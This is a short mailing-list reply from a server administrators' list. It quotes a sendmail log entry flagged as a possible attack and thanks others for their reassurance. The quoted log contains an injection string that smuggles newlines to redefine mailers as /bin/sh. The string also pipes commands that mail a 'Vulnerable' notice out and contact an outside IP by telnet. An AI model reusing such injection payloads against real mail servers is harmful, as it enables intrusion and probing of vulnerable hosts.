[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [cobalt-users] Maybe OT: maillog reports attack; other lists?



> > Dec 22 15:16:56 ns sendmail[9835]: NOQUEUE: POSSIBLE ATTACK from
> > ara-as1-p193.netconnect.net.au: newline in string "iss^M Croot^M Mprog,
> > P=/bin/sh, F=lsDFMeu, A=sh -c $u^M Mlocal, P=/bin/sh, F=lsDFMeu, A=sh -c
> > $u^M R<"|/... Vulnerable | mail jimmy@xxxxxxxxxxxxxxxxx">^M R<"|( sleep
2 ;
> > echo quit ) |telnet 203.87.15.193 5701"
> etc

Thank you gsh and SM for your highly useful and reassuring info.

If I ever get face-to-face with "jimmy" I shall drown him in the nearest
billabong.

--
Eddie Bishop